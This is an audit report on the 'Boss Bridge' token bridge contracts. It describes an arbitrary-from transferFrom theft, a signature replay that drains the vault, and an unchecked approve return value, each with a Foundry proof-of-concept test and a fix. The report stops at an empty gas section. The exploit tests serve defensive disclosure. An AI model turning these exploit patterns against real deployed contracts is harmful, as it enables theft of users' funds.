Boss Bridge Audit Report

Version 1.0

Prakash Yadav

September 7, 2025

Boss Bridge Audit Report

Prakash Yadav

September 8, 2025

Prepared by: Prakash Yadav Lead Auditors: - Prakash Yadav

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

Disclaimer

Prakash Yadav makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol
    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:
    * TokenFactory.sol
  - Tokens:
    * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Category	No. of Issues
High	1
Medium	1
Low	1
Total	3

Findings

High

[H-1]: In `L1BossBridge::depositTokensToL2` function uses arbitrary from in transferFrom.

Description: When users mainly call `depositTokensToL2`, then they want to send tokens from L1 -> L2, but users approve this contract to spend their ERC20 tokens. An attacker can call `depositTokensToL2` and specify a user's address as the `from` parameter in transferFrom, allowing them to transfer the user's tokens to themselves.

However, it uses arbitrary `from` in transferFrom.

```
1 @>   function depositTokensToL2(address from, address l2Recipient,
      uint256 amount) external whenNotPaused {
2          if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
3              revert L1BossBridge__DepositLimitReached();
4          }
5 @>       token.safeTransferFrom(from, address(vault), amount);
6
7          // Our off-chain service picks up this event and mints the
              corresponding tokens on L2
8 @>       emit Deposit(from, l2Recipient, amount);
9      }
```

Impact:

This vulnerability allows an attacker to steal ERC20 tokens from any user who has approved the L1BossBridge contract to spend their tokens. By calling `depositTokensToL2` with the victim's address as the `from` parameter, the attacker can transfer the victim's tokens to the vault, effectively draining their balance. This could lead to significant financial losses for users and undermine trust in the bridge system.

Proof Of Concepts: 1.

PoC

Add the following test function in `L1TokenBridge.t.sol` to demonstrate the vulnerability:

```
function testCanMoveApprovedTokensOfOtherUser() public{
        //alice approving
        vm.prank(user);
        token.approve(address(tokenBridge),type(uint256).max);
        //Bob
        uint256 depositAmount=token.balanceOf(user);
        address attacker=makeAddr("attacker");
        vm.startPrank(attacker);
        tokenBridge.depositTokensToL2(user, attacker,depositAmount);
        assertEq(token.balanceOf(user),0);
        assertEq(token.balanceOf(address(vault)),depositAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Remove the `from` parameter from the function to prevent arbitrary address specification. Use `msg.sender` directly in the transferFrom call and emit event.

```
-     function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+     function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
-       token.safeTransferFrom(from, address(vault), amount);
+       token.safeTransferFrom(msg.sender, address(vault), amount);

        // Our off-chain service picks up this event and mints the corresponding tokens on L2
-       emit Deposit(from, l2Recipient, amount);
+       emit Deposit(msg.sender, l2Recipient, amount);
    }
```

Medium

[M-1]: In `L1BossBridge::sendToL1` function that sends ether to arbitrary destination.

Description: The `sendToL1` function allows sending Ether to an arbitrary address without sufficient access control or replay protection. This can be exploited by attackers to repeatedly withdraw tokens or Ether from the vault by replaying signed messages.

```
@>  function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message) public nonReentrant whenNotPaused {
        address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        (address target, uint256 value, bytes memory data) = abi.decode(message, (address, uint256, bytes));

        (bool success,) = target.call{ value: value }(data);
        if (!success) {
            revert L1BossBridge__CallFailed();
        }
    }
```

Impact: This vulnerability allows an attacker to replay the signature for withdrawal, enabling them to withdraw tokens multiple times from the vault, potentially draining all funds and causing significant financial losses to the protocol and users.

Proof Of Concepts: An attacker can craft a signed message authorizing a withdrawal and replay it multiple times to drain the vault balance. The provided test function demonstrates this by repeatedly calling `withdrawTokensToL1` with the same signature until the vault is empty.

Before attack: Vault balance: 100, Attacker balance: 100

After attack: Vault balance: 0, Attacker balance: 200

PoC

Add the following test function in `L1TokenBridge.t.sol` to demonstrate the vulnerability:

```
  function testSignatureReplay() public{
        address attacker=makeAddr("attacker");
        uint256 vaultInitialBalance=100e18;
        uint256 attackerInitialBalance=100e18;
        deal(address(token),address(vault),vaultInitialBalance);
        deal(address(token),makeAddr("attacker"),attackerInitialBalance);
```

```
7
8           vm.startPrank(attacker);
9           token.approve(address(tokenBridge),type(uint256).max);
10          tokenBridge.depositTokensToL2(attacker,attacker,
                attackerInitialBalance);
11
12          bytes memory message=abi.encode(address(token),0,abi.encodeCall
                (IERC20.transferFrom,(address(vault),attacker,
                attackerInitialBalance)));
13          (uint8 v, bytes32 r, bytes32 s) =vm.sign(operator.key,
                MessageHashUtils.toEthSignedMessageHash(keccak256(message)))
                ;
14          while(token.balanceOf(address(vault))>0){
15              tokenBridge.withdrawTokensToL1(attacker,
                    attackerInitialBalance,v,r,s);
16              console2.log("Vault balance:",token.balanceOf(address(vault
                    ))/1e18);
17              console2.log("Attacker balance:",token.balanceOf(attacker)
                    /1e18);
18          }
19          assertEq(token.balanceOf(address(attacker)),
                attackerInitialBalance+vaultInitialBalance);
20          assertEq(token.balanceOf(address(vault)),0);
21      }
```

Recommended Mitigation:

To prevent signature replay, include a nonce in the message and track used nonces in the contract.

Add a mapping to track used nonces:

```
1 +     mapping(uint256 => bool) public usedNonces;
```

Add error:

```
1 +     error L1BossBridge__NonceUsed();
```

Modify the sendToL1 function to include nonce in the message:

```
1 -     function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
      message) public nonReentrant whenNotPaused {
2 +     function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
      message, uint256 nonce) public nonReentrant whenNotPaused {
3           address signer = ECDSA.recover(MessageHashUtils.
                toEthSignedMessageHash(keccak256(abi.encode(message, nonce))
                ), v, r, s);
4
5           if (!signers[signer]) {
6               revert L1BossBridge__Unauthorized();
7           }
8
```

```
9           if (usedNonces[nonce]) {
10              revert L1BossBridge__NonceUsed();
11          }
12          usedNonces[nonce] = true;
13
14          (address target, uint256 value, bytes memory data) = abi.decode
                (message, (address, uint256, bytes));
15
16          (bool success,) = target.call{ value: value }(data);
17          if (!success) {
18              revert L1BossBridge__CallFailed();
19          }
20      }
```

And update withdrawTokensToL1 to include nonce:

```
1  -    function withdrawTokensToL1(address to, uint256 amount, uint8 v,
       bytes32 r, bytes32 s) external {
2  +    function withdrawTokensToL1(address to, uint256 amount, uint8 v,
       bytes32 r, bytes32 s, uint256 nonce) external {
3           sendToL1(
4               v,
5               r,
6               s,
7               abi.encode(
8                   address(token),
9                   0, // value
10                  abi.encodeCall(IERC20.transferFrom, (address(vault), to
                        , amount))
11              ),
12              nonce
13          );
14      }
```

Low

[L-1]: `L1Vault::approveTo` ignores return value of token.approve

Description:

The `approveTo` function in `L1Vault` calls `token.approve(target, amount)` but does not check the return value. According to the ERC20 standard, the `approve` function returns a boolean indicating success or failure. Ignoring this return value can lead to silent failures where the approval is not set, but the contract assumes it is.

```
1  @>  function approveTo(address target, uint256 amount) external
       onlyOwner {
```

```
2           token.approve(target, amount);
3       }
```

Impact:

If the `approve` call fails (e.g., due to token-specific logic, insufficient balance, or other reasons), the function will not revert, and subsequent operations that rely on the approval may fail unexpectedly. This could cause transaction failures or incorrect state assumptions in the bridge system.

Proof Of Concepts:

Create a mock ERC20 token that returns false on approve to demonstrate the issue:

```
1 contract MockToken is IERC20 {
2     // ... other functions ...
3     function approve(address spender, uint256 amount) external returns
          (bool) {
4         return false; // Simulate failure
5     }
6 }
```

Then, calling `approveTo` on this token will not revert, but the approval won't be set.

Recommended Mitigation:

Check the return value of `token.approve` and revert if it returns false.

```
1 -     function approveTo(address target, uint256 amount) external
      onlyOwner {
2 -         token.approve(target, amount);
3 -     }
4 +     function approveTo(address target, uint256 amount) external
      onlyOwner {
5 +         bool success = token.approve(target, amount);
6 +         require(success, "Approval failed");
7 +     }
```

Informational

Gas